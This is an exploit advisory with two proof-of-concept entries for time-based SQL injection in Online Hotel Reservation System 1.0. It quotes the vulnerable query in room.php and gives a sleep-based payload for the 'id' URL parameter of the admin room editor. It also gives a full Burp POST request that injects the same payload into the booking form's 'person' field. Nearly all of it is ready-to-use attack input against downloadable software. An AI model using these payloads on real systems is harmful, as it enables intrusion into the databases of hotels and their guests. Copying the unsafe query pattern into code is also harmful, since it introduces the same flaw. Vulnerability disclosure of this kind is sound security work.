Online Hotel Reservation System 1.0 SQL Injection

`# Exploit Title: Online Hotel Reservation System 1.0 - 'id' Time-based SQL Injection  
# Exploit Author: Mesut Cetin  
# Date: 2021-01-14  
# Vendor Homepage: https://www.sourcecodester.com/php/13492/online-hotel-reservation-system-phpmysqli.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=13492&title=Online+Hotel+Reservation+System+in+PHP%2FMySQLi+with+Source+Code  
# Version: 1.0  
# Tested on: Kali Linux 2020.4, PHP 7.4.13, mysqlnd 7.4.13, Apache/2.4.46 (Unix), OpenSSL/1.1.1h, mod_perl/2.0.11 Perl/v5.32.0  
  
######## Description ########  
  
Vulnerable to SQL Injection.   
  
// vulnerable parameter at include/room.php, line 25:  
  
$mydb->setQuery("SELECT * FROM ".self::$tbl_name." Where `ROOMID`= {id} LIMIT 1");  
  
######## Proof of Concept #########  
  
The 'id' parameter at http://localhost/marimar/admin/mod_room/index.php?view=edit&id=11 is vulnerable to time-based SQL injection.  
  
Payload: (select*from(select(sleep(10)))a)  
  
Proof of Concept:  
  
http://localhost/marimar/admin/mod_room/index.php?view=edit&id=(select*from(select(sleep(10)))a)  
  
--------  
# Exploit Title: Online Hotel Reservation System 1.0 - 'person' time-based SQL Injection  
# Exploit Author: Mesut Cetin  
# Date: 2021-01-15  
# Vendor Homepage: https://www.sourcecodester.com/php/13492/online-hotel-reservation-system-phpmysqli.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=13492&title=Online+Hotel+Reservation+System+in+PHP%2FMySQLi+with+Source+Code  
# Version: 1.0  
# Tested on: Kali Linux 2020.4, PHP 7.4.13, mysqlnd 7.4.13, Apache/2.4.46 (Unix), OpenSSL/1.1.1h, mod_perl/2.0.11 Perl/v5.32.0  
  
######## Description ########  
  
The 'person' parameter is vulnerable to time-based SQL Injection.   
  
  
######## Proof of Concept #######  
  
Payload: (select*from(select(sleep(10)))a)  
  
Using Burp Suite, send the following POST request:  
  
POST /marimar/index.php?p=booking HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: de,en-US;q=0.7,en;q=0.3  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 71  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/marimar/index.php?p=booking  
Cookie: PHPSESSID=cf40af0022f401c8cfd0be17fc00a6cc  
Upgrade-Insecure-Requests: 1  
  
arrival=01%2F19%2F2021&departure=01%2F11%2F2021&person=(select*from(select(sleep(10)))a)&accomodation=0  
  
`